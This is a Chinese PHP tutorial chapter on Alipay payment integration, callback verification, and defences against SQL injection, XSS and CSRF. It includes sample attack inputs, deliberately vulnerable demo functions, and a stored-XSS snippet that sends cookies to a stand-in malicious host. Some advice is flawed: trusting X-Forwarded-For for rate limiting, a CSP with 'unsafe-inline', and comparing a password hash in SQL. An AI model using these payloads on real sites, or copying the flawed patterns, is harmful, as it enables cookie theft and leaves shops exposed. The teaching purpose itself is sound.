第 4 章：支付网关集成与网站安全防护

章节介绍

学习目标

本章将带领学习者掌握电商系统最关键的支付功能集成和网站安全防护技术。通过本章学习，你将能够：

• 独立集成支付宝和微信支付等主流支付接口
• 实施全面的网站安全防护措施
• 配置 SSL 证书和 HTTPS 加密传输
• 防护 SQL 注入、XSS 等常见 Web 攻击
• 实现安全的支付回调处理机制

在整个教程中的作用

本章是电商系统的"心脏"和"免疫系统"。支付功能直接关系到商业变现，而安全防护则是保障用户数据和资金安全的基石。本章将把前几章开发的用户、产品、购物车和订单系统与真实支付流程衔接，并建立完整的安全防护体系。

与前面章节的衔接

在第 3 章中，我们完成了购物车和订单生成功能，本章将在订单基础上集成支付功能，使订单能够通过在线支付完成。同时，我们将对之前开发的用户认证、产品管理等模块进行安全加固。

本章主要内容概览

1. 支付网关原理和集成方法
2. 支付宝/微信支付 API 详细集成
3. SSL/TLS 加密与 HTTPS 配置
4. OWASP Top 10 安全漏洞防护
5. 支付回调处理与安全验证
6. 安全编码规范与最佳实践

核心概念讲解

支付网关集成原理

支付网关是连接商户网站与银行系统的中间件，负责处理支付请求、加密传输和结果返回。典型支付流程包括：

• 用户提交支付请求
• 网站生成支付参数并跳转支付页面
• 用户在支付平台完成支付
• 支付平台异步通知网站支付结果
• 网站验证通知并更新订单状态

SSL/TLS 加密原理

SSL（安全套接层）和 TLS（传输层安全）是加密通信协议，用于在客户端和服务器之间建立安全连接：

• 非对称加密：用于密钥交换和身份验证
• 对称加密：用于数据传输加密
• 数字证书：验证服务器身份
• 哈希算法：确保数据完整性

常见 Web 安全漏洞

SQL 注入原理

攻击者通过构造特殊输入，改变原有 SQL 语句的逻辑，从而执行恶意 SQL 命令。

XSS 跨站脚本攻击

攻击者往 Web 页面插入恶意脚本，当用户浏览时执行，窃取用户信息或进行其他恶意操作。

CSRF 跨站请求伪造

诱导用户在当前已登录的 Web 应用上执行非本意的操作，利用用户的登录状态进行恶意请求。

代码示例

示例 1：支付宝支付接口集成

<?php
/**
 * 支付宝支付服务类
* 使用官方SDK进行支付集成
*/

class AlipayService
{
    private $appId;
    private $merchantPrivateKey;
    private $alipayPublicKey;
    private $gatewayUrl;

    public function __construct($config)
    {
        $this->appId = $config['app_id'];
        $this->merchantPrivateKey = $config['merchant_private_key'];
        $this->alipayPublicKey = $config['alipay_public_key'];
        $this->gatewayUrl = $config['gateway_url'];
    }

    /**
     * 生成支付参数
* @param array $order 订单信息
* @return array 支付参数
*/
    public function createPayment($order)
    {
        // 构造请求参数
$bizContent = [
            'out_trade_no' => $order['order_no'],
            'total_amount' => $order['total_amount'],
            'subject' => $order['subject'],
            'body' => $order['body'] ?? '',
            'timeout_express' => '30m'
        ];

        $requestParams = [
            'app_id' => $this->appId,
            'method' => 'alipay.trade.page.pay',
            'charset' => 'utf-8',
            'sign_type' => 'RSA2',
            'timestamp' => date('Y-m-d H:i:s'),
            'version' => '1.0',
            'biz_content' => json_encode($bizContent),
            'return_url' => 'https:// yourdomain.com/payment/return',
            'notify_url' => 'https:// yourdomain.com/payment/notify'
        ];

        // 生成签名
$requestParams['sign'] = $this->generateSignature($requestParams);

        return $requestParams;
    }

    /**
     * 生成RSA2签名
* @param array $params 待签名参数
* @return string 签名结果
*/
    private function generateSignature($params)
    {
        // 参数排序
ksort($params);
        $stringToBeSigned = "";
        foreach ($params as $k => $v) {
            if ($k != "sign" && $v != "" && !is_array($v)) {
                $stringToBeSigned .= $k . "=" . $v . "&";
            }
        }
        $stringToBeSigned = rtrim($stringToBeSigned, "&");

        // 使用商户私钥签名
$res = openssl_get_privatekey($this->merchantPrivateKey);
        openssl_sign($stringToBeSigned, $sign, $res, OPENSSL_ALGO_SHA256);
        openssl_free_key($res);

        return base64_encode($sign);
    }

    /**
     * 验证支付回调签名
* @param array $params 回调参数
* @return bool 验证结果
*/
    public function verifyNotify($params)
    {
        $sign = $params['sign'];
        unset($params['sign'], $params['sign_type']);

        ksort($params);
        $stringToBeSigned = "";
        foreach ($params as $k => $v) {
            if ($v != "" && !is_array($v)) {
                $stringToBeSigned .= $k . "=" . $v . "&";
            }
        }
        $stringToBeSigned = rtrim($stringToBeSigned, "&");

        // 使用支付宝公钥验证签名
$res = openssl_get_publickey($this->alipayPublicKey);
        $result = (bool)openssl_verify(
            $stringToBeSigned,
            base64_decode($sign),
            $res,
            OPENSSL_ALGO_SHA256
        );
        openssl_free_key($res);

        return $result;
    }
}

// 使用示例
$alipayConfig = [
    'app_id' => '你的应用ID',
    'merchant_private_key' => '你的应用私钥',
    'alipay_public_key' => '支付宝公钥',
    'gateway_url' => 'https:// openapi.alipay.com/gateway.do'
];

$alipayService = new AlipayService($alipayConfig);
$orderInfo = [
    'order_no' => 'ORDER_' . time(),
    'total_amount' => '99.99',
    'subject' => '测试商品',
    'body' => '测试商品描述'
];

$paymentParams = $alipayService->createPayment($orderInfo);
echo "支付参数生成成功，订单号：" . $orderInfo['order_no'];
?>

示例 2：SQL 注入攻击与防护

<?php
/**
 * SQL注入攻击演示和防护方案
*/

// 不安全的查询方式 - 易受SQL注入攻击
class UnsafeUserQuery
{
    private $pdo;

    public function __construct($pdo)
    {
        $this->pdo = $pdo;
    }

    /**
     * 不安全的用户查询 - 存在SQL注入漏洞
* @param string $username 用户名
* @return array 用户信息
*/
    public function unsafeGetUser($username)
    {
        // 直接拼接SQL语句 - 危险！
$sql = "SELECT * FROM users WHERE username = '" . $username . "'";
        $stmt = $this->pdo->query($sql);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }
}

// 攻击示例
// 如果传入的用户名是: admin' OR '1'='1
// 生成的SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 这将返回所有用户数据，造成严重的安全漏洞
// 安全的查询方式 - 使用预处理语句
class SafeUserQuery
{
    private $pdo;

    public function __construct($pdo)
    {
        $this->pdo = $pdo;
    }

    /**
     * 安全的用户查询 - 使用预处理语句
* @param string $username 用户名
* @return array 用户信息
*/
    public function safeGetUser($username)
    {
        // 使用预处理语句，参数化查询
$sql = "SELECT * FROM users WHERE username = :username";
        $stmt = $this->pdo->prepare($sql);
        $stmt->bindValue(':username', $username, PDO::PARAM_STR);
        $stmt->execute();

        return $stmt->fetch(PDO::FETCH_ASSOC);
    }

    /**
     * 安全的用户登录验证
* @param string $username 用户名
* @param string $password 密码
* @return bool 登录是否成功
*/
    public function safeLogin($username, $password)
    {
        // 先查询用户信息
$user = $this->safeGetUser($username);

        if (!$user) {
            return false;
        }

        // 使用password_verify验证密码哈希
if (password_verify($password, $user['password_hash'])) {
            // 登录成功，更新最后登录时间
$this->updateLastLogin($user['id']);
            return true;
        }

        return false;
    }

    /**
     * 更新用户最后登录时间
* @param int $userId 用户ID
     */
    private function updateLastLogin($userId)
    {
        $sql = "UPDATE users SET last_login = NOW() WHERE id = :user_id";
        $stmt = $this->pdo->prepare($sql);
        $stmt->bindValue(':user_id', $userId, PDO::PARAM_INT);
        $stmt->execute();
    }
}

// 使用示例
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=ecommerce;charset=utf8mb4',
        'username',
        'password',
        [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
    );

    $safeQuery = new SafeUserQuery($pdo);

    // 安全查询示例
$user = $safeQuery->safeGetUser('testuser');
    if ($user) {
        echo "用户查询成功: " . htmlspecialchars($user['username']);
    }

    // 登录验证示例
$loginResult = $safeQuery->safeLogin('testuser', 'password123');
    if ($loginResult) {
        echo "登录成功";
    } else {
        echo "登录失败";
    }

} catch (PDOException $e) {
    error_log("数据库错误: " . $e->getMessage());
    echo "系统错误，请稍后重试";
}
?>

示例 3：XSS 攻击防护

<?php
/**
 * XSS跨站脚本攻击防护
*/

class XSSProtection
{
    /**
     * 清理用户输入，防止XSS攻击
* @param mixed $data 输入数据
* @param string $encoding 字符编码
* @return mixed 清理后的数据
*/
    public static function cleanInput($data, $encoding = 'UTF-8')
    {
        if (is_array($data)) {
            foreach ($data as $key => $value) {
                $data[$key] = self::cleanInput($value, $encoding);
            }
            return $data;
        }

        if (is_string($data)) {
            // 移除NULL字符
$data = str_replace("\0", '', $data);
            // 转换特殊字符为HTML实体
$data = htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, $encoding);
            // 移除javascript:等危险协议
$data = preg_replace('/(javascript|vbscript|expression):/i', 'xss-blocked:', $data);
        }

        return $data;
    }

    /**
     * 安全输出内容到HTML
     * @param string $content 要输出的内容
* @param bool $allowBasicHtml 是否允许基本HTML标签
* @return string 安全的内容
*/
    public static function safeOutput($content, $allowBasicHtml = false)
    {
        if ($allowBasicHtml) {
            // 只允许安全的HTML标签和属性
$config = HTMLPurifier_Config::createDefault();
            $purifier = new HTMLPurifier($config);
            return $purifier->purify($content);
        } else {
            // 完全转义，不允许任何HTML
            return htmlspecialchars($content, ENT_QUOTES | ENT_HTML5, 'UTF-8');
        }
    }

    /**
     * 设置HTTP安全头
*/
    public static function setSecurityHeaders()
    {
        // 防止点击劫持
header('X-Frame-Options: SAMEORIGIN');
        // 启用XSS保护
header('X-XSS-Protection: 1; mode=block');
        // 防止MIME类型嗅探
header('X-Content-Type-Options: nosniff');
        // CSP内容安全策略
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https:// apis.google.com; style-src 'self' 'unsafe-inline'");
    }
}

// XSS攻击示例
class XSSAttackDemo
{
    /**
     * 存在XSS漏洞的评论显示
* @param string $comment 用户评论
*/
    public static function unsafeDisplayComment($comment)
    {
        // 危险：直接输出用户输入
echo "<div class='comment'>" . $comment . "</div>";

        // 攻击者可以输入：<script>alert('XSS攻击')</script>
        // 或者：<img src=x onerror=alert('XSS')>
        // 这将在用户浏览器执行恶意脚本
}

    /**
     * 安全的评论显示
* @param string $comment 用户评论
*/
    public static function safeDisplayComment($comment)
    {
        // 安全：使用htmlspecialchars转义
$safeComment = XSSProtection::safeOutput($comment);
        echo "<div class='comment'>" . $safeComment . "</div>";
    }
}

// 使用示例
XSSProtection::setSecurityHeaders();

// 模拟用户输入（恶意XSS代码）
$maliciousInput = "<script>alert('XSS攻击!');</script><img src=x onerror=alert('另一个XSS')>";

echo "不安全的输出: ";
XSSAttackDemo::unsafeDisplayComment($maliciousInput);

echo "\n安全的输出: ";
XSSAttackDemo::safeDisplayComment($maliciousInput);

// 清理用户输入示例
$userData = [
    'name' => '<script>alert("xss")</script>John',
    'email' => 'john@example.com',
    'message' => '正常消息<script>恶意代码</script>'
];

$cleanedData = XSSProtection::cleanInput($userData);
echo "清理后的数据: ";
print_r($cleanedData);
?>

示例 4：支付回调安全处理

<?php
/**
 * 支付回调安全处理类
* 处理支付宝、微信支付等回调通知
*/

class PaymentCallbackHandler
{
    private $db;
    private $alipayService;
    private $wechatPayService;

    public function __construct($db, $alipayService, $wechatPayService)
    {
        $this->db = $db;
        $this->alipayService = $alipayService;
        $this->wechatPayService = $wechatPayService;
    }

    /**
     * 处理支付宝支付回调
* @param array $postData POST数据
* @return string 处理结果
*/
    public function handleAlipayNotify($postData)
    {
        try {
            // 记录回调日志
$this->logCallback('alipay', $postData);

            // 验证签名
if (!$this->alipayService->verifyNotify($postData)) {
                $this->logSecurityWarning('支付宝回调签名验证失败', $postData);
                return 'failure';
            }

            // 获取订单信息
$outTradeNo = $postData['out_trade_no'];
            $tradeStatus = $postData['trade_status'];
            $totalAmount = $postData['total_amount'];

            // 查询订单
$order = $this->getOrderByNo($outTradeNo);
            if (!$order) {
                $this->logSecurityWarning('支付宝回调订单不存在', $postData);
                return 'failure';
            }

            // 验证金额一致性
if (bccomp($totalAmount, $order['total_amount'], 2) !== 0) {
                $this->logSecurityWarning('支付宝回调金额不一致', $postData);
                return 'failure';
            }

            // 处理不同交易状态
switch ($tradeStatus) {
                case 'TRADE_SUCCESS':
                case 'TRADE_FINISHED':
                    return $this->handlePaymentSuccess($order, $postData);

                case 'TRADE_CLOSED':
                    return $this->handlePaymentClosed($order, $postData);

                default:
                    $this->logCallback('支付宝未知交易状态: ' . $tradeStatus, $postData);
                    return 'success'; // 未知状态也返回success，避免重复通知
}

        } catch (Exception $e) {
            $this->logError('支付宝回调处理异常: ' . $e->getMessage(), $postData);
            return 'failure';
        }
    }

    /**
     * 处理支付成功
* @param array $order 订单信息
* @param array $notifyData 通知数据
* @return string 处理结果
*/
    private function handlePaymentSuccess($order, $notifyData)
    {
        // 检查订单是否已处理（防止重复通知）
if ($order['status'] === 'paid') {
            $this->logCallback('订单已支付，忽略重复通知', $notifyData);
            return 'success';
        }

        // 开始数据库事务
$this->db->beginTransaction();

        try {
            // 更新订单状态为已支付
$updateOrderSql = "UPDATE orders SET
                              status = 'paid',
                              payment_time = NOW(),
                              transaction_id = :transaction_id,
                              updated_at = NOW()
                              WHERE id = :order_id AND status = 'pending'";

            $stmt = $this->db->prepare($updateOrderSql);
            $stmt->execute([
                ':transaction_id' => $notifyData['trade_no'] ?? '',
                ':order_id' => $order['id']
            ]);

            if ($stmt->rowCount() === 0) {
                throw new Exception('订单状态更新失败');
            }

            // 更新产品库存
$this->updateProductStock($order['id']);

            // 发送支付成功通知
$this->sendPaymentSuccessNotification($order);

            // 提交事务
$this->db->commit();

            $this->logCallback('订单支付成功处理完成', $notifyData);
            return 'success';

        } catch (Exception $e) {
            // 回滚事务
$this->db->rollBack();
            $this->logError('支付成功处理失败: ' . $e->getMessage(), $notifyData);
            return 'failure';
        }
    }

    /**
     * 记录回调日志
* @param string $type 日志类型
* @param mixed $data 日志数据
*/
    private function logCallback($type, $data)
    {
        $logData = [
            'type' => $type,
            'data' => is_array($data) ? json_encode($data) : $data,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'created_at' => date('Y-m-d H:i:s')
        ];

        // 写入数据库或文件日志
error_log("Payment Callback: " . json_encode($logData));
    }

    /**
     * 记录安全警告
* @param string $message 警告信息
* @param mixed $data 相关数据
*/
    private function logSecurityWarning($message, $data)
    {
        $warningData = [
            'level' => 'SECURITY_WARNING',
            'message' => $message,
            'data' => $data,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'timestamp' => time()
        ];

        error_log("SECURITY WARNING: " . json_encode($warningData));
    }
}

// 使用示例
try {
    // 初始化服务
$pdo = new PDO('mysql:host=localhost;dbname=ecommerce', 'username', 'password');
    $alipayService = new AlipayService($alipayConfig);
    $wechatPayService = new WechatPayService($wechatConfig);

    $callbackHandler = new PaymentCallbackHandler($pdo, $alipayService, $wechatPayService);

    // 处理支付宝回调
if ($_POST['_type'] === 'alipay') {
        $result = $callbackHandler->handleAlipayNotify($_POST);
        echo $result; // 返回success或failure
        exit;
    }

    // 处理微信支付回调
if ($_POST['_type'] === 'wechat') {
        $result = $callbackHandler->handleWechatNotify($_POST);
        echo $result;
        exit;
    }

} catch (Exception $e) {
    error_log("支付回调处理异常: " . $e->getMessage());
    echo 'failure';
}
?>

示例 5：CSRF 防护实现

<?php
/**
 * CSRF防护实现
* 防止跨站请求伪造攻击
*/

class CSRFProtection
{
    private static $tokenName = 'csrf_token';
    private static $tokenLength = 32;

    /**
     * 生成CSRF令牌
* @return string CSRF令牌
*/
    public static function generateToken()
    {
        if (empty($_SESSION[self::$tokenName])) {
            $_SESSION[self::$tokenName] = bin2hex(random_bytes(self::$tokenLength));
        }
        return $_SESSION[self::$tokenName];
    }

    /**
     * 验证CSRF令牌
* @param string $token 待验证的令牌
* @return bool 验证结果
*/
    public static function validateToken($token)
    {
        if (empty($_SESSION[self::$tokenName]) || empty($token)) {
            return false;
        }

        // 使用hash_equals防止时序攻击
return hash_equals($_SESSION[self::$tokenName], $token);
    }

    /**
     * 生成CSRF令牌隐藏域
* @return string HTML隐藏域
*/
    public static function generateField()
    {
        $token = self::generateToken();
        return '<input type="hidden" name="' . self::$tokenName . '" value="' . htmlspecialchars($token) . '">';
    }

    /**
     * 验证请求中的CSRF令牌
* @param string $method 请求方法
* @throws Exception 验证失败时抛出异常
*/
    public static function validateRequest($method = 'POST')
    {
        $requestMethod = $_SERVER['REQUEST_METHOD'] ?? '';

        // 只验证POST、PUT、DELETE等非安全方法
if (in_array($requestMethod, ['POST', 'PUT', 'DELETE', 'PATCH'])) {
            $token = $_POST[self::$tokenName] ?? '';

            if (!self::validateToken($token)) {
                // 记录安全事件
self::logCSRFAttempt();

                // 抛出异常或返回错误
throw new Exception('CSRF令牌验证失败，请求被拒绝');
            }
        }
    }

    /**
     * 记录CSRF攻击尝试
*/
    private static function logCSRFAttempt()
    {
        $logData = [
            'event' => 'CSRF_ATTEMPT',
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'referer' => $_SERVER['HTTP_REFERER'] ?? 'unknown',
            'request_uri' => $_SERVER['REQUEST_URI'] ?? 'unknown',
            'timestamp' => date('Y-m-d H:i:s')
        ];

        error_log("CSRF Attempt: " . json_encode($logData));
    }
}

// 使用示例：在表单中集成CSRF防护
class SecureForm
{
    /**
     * 生成安全的表单HTML
     * @param string $action 表单提交地址
* @param string $method 提交方法
* @return string 表单HTML
     */
    public static function generate($action, $method = 'POST')
    {
        $csrfField = CSRFProtection::generateField();

        return <<<HTML
<form action="{$action}" method="{$method}" class="secure-form">
    {$csrfField}
    <!-- 其他表单字段 -->
    <div class="form-group">
        <label for="username">用户名:</label>
        <input type="text" id="username" name="username" required>
    </div>
    <div class="form-group">
        <label for="email">邮箱:</label>
        <input type="email" id="email" name="email" required>
    </div>
    <button type="submit">提交</button>
</form>
HTML;
    }
}

// 在表单处理页面验证CSRF
class FormProcessor
{
    /**
     * 处理表单提交
*/
    public static function process()
    {
        try {
            // 验证CSRF令牌
CSRFProtection::validateRequest();

            // 处理表单数据
$username = $_POST['username'] ?? '';
            $email = $_POST['email'] ?? '';

            // 验证和清理输入
$username = XSSProtection::cleanInput($username);
            $email = XSSProtection::cleanInput($email);

            // 业务逻辑处理...
            echo "表单提交成功";

        } catch (Exception $e) {
            // CSRF验证失败或其他错误
error_log("表单处理错误: " . $e->getMessage());
            http_response_code(400);
            echo "请求无效: " . $e->getMessage();
        }
    }
}

// 演示使用
session_start();

// 生成表单
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    echo SecureForm::generate('/process-form.php');
}

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    FormProcessor::process();
}
?>

实战项目

项目需求：构建安全的支付系统

项目目标：
开发一个集成支付宝支付并具备全面安全防护的电商支付系统，包括：

1. 安全的支付页面和流程
2. 支付回调处理机制
3. 全面的安全防护措施
4. 支付日志和监控
   技术方案：

• 使用 PHP + MySQL 构建后端系统
• 集成支付宝官方 SDK
• 实现 MVC 架构分离关注点
• 采用预处理语句防护 SQL 注入
• 实施 CSRF 令牌防护
• 配置 HTTPS 加密传输

分步骤实现

步骤 1：数据库设计

-- 订单表
CREATE TABLE orders (
    id BIGINT AUTO_INCREMENT PRIMARY KEY,
    order_no VARCHAR(64) NOT NULL UNIQUE,
    user_id BIGINT NOT NULL,
    total_amount DECIMAL(10,2) NOT NULL,
    status ENUM('pending', 'paid', 'shipped', 'completed', 'cancelled') DEFAULT 'pending',
    payment_method VARCHAR(32),
    transaction_id VARCHAR(128),
    payment_time DATETIME,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_user_id (user_id),
    INDEX idx_order_no (order_no),
    INDEX idx_status (status)
);

-- 支付日志表
CREATE TABLE payment_logs (
    id BIGINT AUTO_INCREMENT PRIMARY KEY,
    order_no VARCHAR(64) NOT NULL,
    payment_gateway VARCHAR(32) NOT NULL,
    action VARCHAR(64) NOT NULL,
    request_data TEXT,
    response_data TEXT,
    ip_address VARCHAR(45),
    user_agent TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_order_no (order_no),
    INDEX idx_created_at (created_at)
);

-- 安全日志表
CREATE TABLE security_logs (
    id BIGINT AUTO_INCREMENT PRIMARY KEY,
    event_type VARCHAR(64) NOT NULL,
    severity ENUM('low', 'medium', 'high', 'critical') DEFAULT 'medium',
    description TEXT,
    ip_address VARCHAR(45),
    user_agent TEXT,
    request_data TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_event_type (event_type),
    INDEX idx_severity (severity),
    INDEX idx_created_at (created_at)
);

步骤 2：支付控制器实现

<?php
/**
 * 支付控制器
*/

class PaymentController
{
    private $orderModel;
    private $paymentService;
    private $securityLogger;

    public function __construct($orderModel, $paymentService, $securityLogger)
    {
        $this->orderModel = $orderModel;
        $this->paymentService = $paymentService;
        $this->securityLogger = $securityLogger;
    }

    /**
     * 发起支付
*/
    public function createPayment()
    {
        try {
            // 验证CSRF令牌
CSRFProtection::validateRequest();

            // 获取订单ID
            $orderId = $_POST['order_id'] ?? 0;
            $paymentMethod = $_POST['payment_method'] ?? 'alipay';

            // 验证订单
$order = $this->orderModel->getOrderById($orderId);
            if (!$order) {
                throw new Exception('订单不存在');
            }

            // 检查订单状态
if ($order['status'] !== 'pending') {
                throw new Exception('订单状态异常');
            }

            // 根据支付方式选择服务
switch ($paymentMethod) {
                case 'alipay':
                    $paymentParams = $this->paymentService->createAlipayPayment($order);
                    break;
                case 'wechat':
                    $paymentParams = $this->paymentService->createWechatPayment($order);
                    break;
                default:
                    throw new Exception('不支持的支付方式');
            }

            // 记录支付日志
$this->securityLogger->logPaymentAttempt($order, $paymentMethod);

            // 返回支付参数
header('Content-Type: application/json');
            echo json_encode([
                'success' => true,
                'payment_params' => $paymentParams
            ]);

        } catch (Exception $e) {
            $this->securityLogger->logPaymentError($e->getMessage());

            header('Content-Type: application/json');
            http_response_code(400);
            echo json_encode([
                'success' => false,
                'message' => $e->getMessage()
            ]);
        }
    }

    /**
     * 支付成功页面
*/
    public function paymentSuccess()
    {
        $orderNo = $_GET['order_no'] ?? '';
        $transactionId = $_GET['transaction_id'] ?? '';

        // 验证参数
if (empty($orderNo)) {
            $this->showError('参数错误');
            return;
        }

        // 查询订单
$order = $this->orderModel->getOrderByNo($orderNo);
        if (!$order) {
            $this->showError('订单不存在');
            return;
        }

        // 显示成功页面
$this->render('payment/success', [
            'order' => $order,
            'transaction_id' => $transactionId
        ]);
    }
}

步骤 3：安全中间件实现

<?php
/**
 * 安全中间件
*/

class SecurityMiddleware
{
    private $rateLimiter;
    private $ipWhitelist;

    public function __construct()
    {
        $this->rateLimiter = new RateLimiter();
        $this->ipWhitelist = ['127.0.0.1', '192.168.1.0/24']; // 示例IP白名单
}

    /**
     * 处理请求安全检查
*/
    public function handle()
    {
        $clientIp = $this->getClientIp();

        // IP黑名单检查
if ($this->isIpBlacklisted($clientIp)) {
            $this->blockRequest($clientIp, 'IP黑名单');
            return false;
        }

        // 速率限制检查
if (!$this->rateLimiter->check($clientIp, 'api_request', 100, 3600)) {
            $this->blockRequest($clientIp, '请求频率过高');
            return false;
        }

        // User-Agent检查
if (!$this->validateUserAgent()) {
            $this->blockRequest($clientIp, '可疑User-Agent');
            return false;
        }

        // Referer检查（对于敏感操作）
if (!$this->validateReferer()) {
            $this->logSecurityWarning('可疑Referer', $clientIp);
        }

        return true;
    }

    /**
     * 获取客户端真实IP
     */
    private function getClientIp()
    {
        $ip = $_SERVER['REMOTE_ADDR'];

        // 处理代理情况
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            $ip = trim($ips[0]);
        } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            $ip = $_SERVER['HTTP_X_REAL_IP'];
        }

        // 验证IP格式
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
            return '0.0.0.0';
        }

        return $ip;
    }
}

项目测试和部署指南

安全测试流程

1. 支付功能测试
   • 测试正常支付流程

• 测试支付金额篡改
• 测试重复支付回调
• 测试支付超时处理

2. 安全漏洞测试
   • SQL 注入测试

• XSS 漏洞测试
• CSRF 漏洞测试
• 文件上传漏洞测试

3. 性能测试
   • 并发支付测试

• 数据库压力测试
• 网络延迟测试

部署安全检查清单

• 配置 HTTPS 和 SSL 证书
• 设置安全的数据库权限
• 配置 Web 服务器安全头
• 设置文件上传限制
• 配置错误日志和监控
• 设置定期安全扫描

最佳实践

支付安全最佳实践

1. 金额验证：在支付回调中必须验证金额一致性
2. 幂等性处理：支付回调需要处理重复通知
3. 签名验证：所有支付请求必须验证签名
4. 敏感信息保护：不记录完整的银行卡信息

安全编码规范

输入验证规范

// 正确的输入验证
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$amount = filter_input(INPUT_POST, 'amount', FILTER_VALIDATE_FLOAT);

if (!$username || !$email || $amount === false) {
    throw new InvalidArgumentException('输入参数无效');
}

密码安全规范

// 密码哈希和验证
class PasswordSecurity
{
    const MIN_LENGTH = 8;

    public static function hashPassword($password)
    {
        return password_hash($password, PASSWORD_DEFAULT, ['cost' => 12]);
    }

    public static function verifyPassword($password, $hash)
    {
        return password_verify($password, $hash);
    }

    public static function validateStrength($password)
    {
        if (strlen($password) < self::MIN_LENGTH) {
            return false;
        }

        // 检查复杂度
$hasUpper = preg_match('/[A-Z]/', $password);
        $hasLower = preg_match('/[a-z]/', $password);
        $hasDigit = preg_match('/\d/', $password);
        $hasSpecial = preg_match('/[^A-Za-z0-9]/', $password);

        return $hasUpper && $hasLower && $hasDigit && $hasSpecial;
    }
}

安全漏洞案例和防护方案

SQL 注入案例深度分析

攻击场景：用户登录绕过

-- 攻击输入：username = 'admin' OR '1'='1' --
-- 原始SQL：SELECT * FROM users WHERE username = '$username' AND password = '$password'
-- 被注入后：SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- ' AND password = 'anything'

防护方案：

// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password_hash]);

// 使用ORM框架
$user = User::where('username', $username)
           ->where('password', $password_hash)
           ->first();

XSS 存储型攻击案例

攻击场景：商品评论中的 XSS

<!-- 恶意评论 -->
<script>
  fetch("http:// 恶意网站/steal.php?cookie=" + document.cookie);
</script>

防护方案：

// 输出转义
function escapeOutput($data) {
    return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

// 内容安全策略
header("Content-Security-Policy: default-src 'self'; script-src 'self'");

练习题与挑战

基础练习题

1. 题目：实现一个安全的用户登录函数
   难度：★☆☆☆☆
   要求：使用预处理语句防止 SQL 注入，验证密码强度，记录登录日志
   提示：参考 PasswordSecurity 类和 SafeUserQuery 类
2. 题目：编写支付金额验证函数
   难度：★☆☆☆☆
   要求：验证金额格式，防止负数和小数点错误
   提示：使用 filter_var 和 bcmath 函数

进阶练习题

3. 题目：实现 CSRF 防护中间件
   难度：★★☆☆☆
   要求：自动为所有 POST 表单添加 CSRF 令牌并验证
   提示：使用 PHP 输出缓冲和正则表达式
4. 题目：设计支付回调安全验证系统
   难度：★★★☆☆
   要求：验证签名、防止重复处理、记录安全日志
   提示：参考 PaymentCallbackHandler 类

综合挑战题

5. 题目：构建完整的支付风控系统
   难度：★★★★☆
   要求：实现基于规则的交易风险检测，包括：

• 同一 IP 频繁交易检测
• 异常金额交易检测
• 地理位置异常检测
  提示：使用策略模式和规则引擎

6. 题目：安全代码审计实战
   难度：★★★★★
   要求：对现有电商项目代码进行安全审计，发现并修复至少 5 个安全漏洞
   提示：使用静态分析工具和手动代码审查结合

章节总结

本章重点知识回顾

• 支付集成：支付宝/微信支付 API 集成、回调处理、签名验证
• 安全防护：SQL 注入防护、XSS 防护、CSRF 防护、输入验证
• 加密传输：SSL/TLS 配置、HTTPS 强制、数据加密
• 安全监控：日志记录、异常检测、风险控制

技能掌握要求

完成本章学习后，你应该能够：

• 独立集成主流支付接口并处理支付回调
• 识别和防护常见的 Web 安全漏洞
• 实施安全的编码实践和输入验证
• 配置服务器安全设置和监控系统

与下一章的衔接预告

在第 5 章中，我们将学习如何将开发完成的电商网站部署到生产环境，并实施性能优化策略。内容包括服务器配置、数据库优化、缓存集成、CDN 使用等，确保网站能够高效稳定地运行。

进一步学习建议

1. 支付安全：学习 PCI DSS 支付卡行业数据安全标准
2. Web 安全：深入研究 OWASP Top 10 和安全开发生命周期
3. 加密技术：学习非对称加密、数字签名等高级安全技术
4. 合规要求：了解 GDPR、网络安全法等法规要求

---

注意：本章中的支付配置信息需要替换为真实的商户信息才能正常工作。安全防护代码可以根据实际项目需求进行调整和扩展。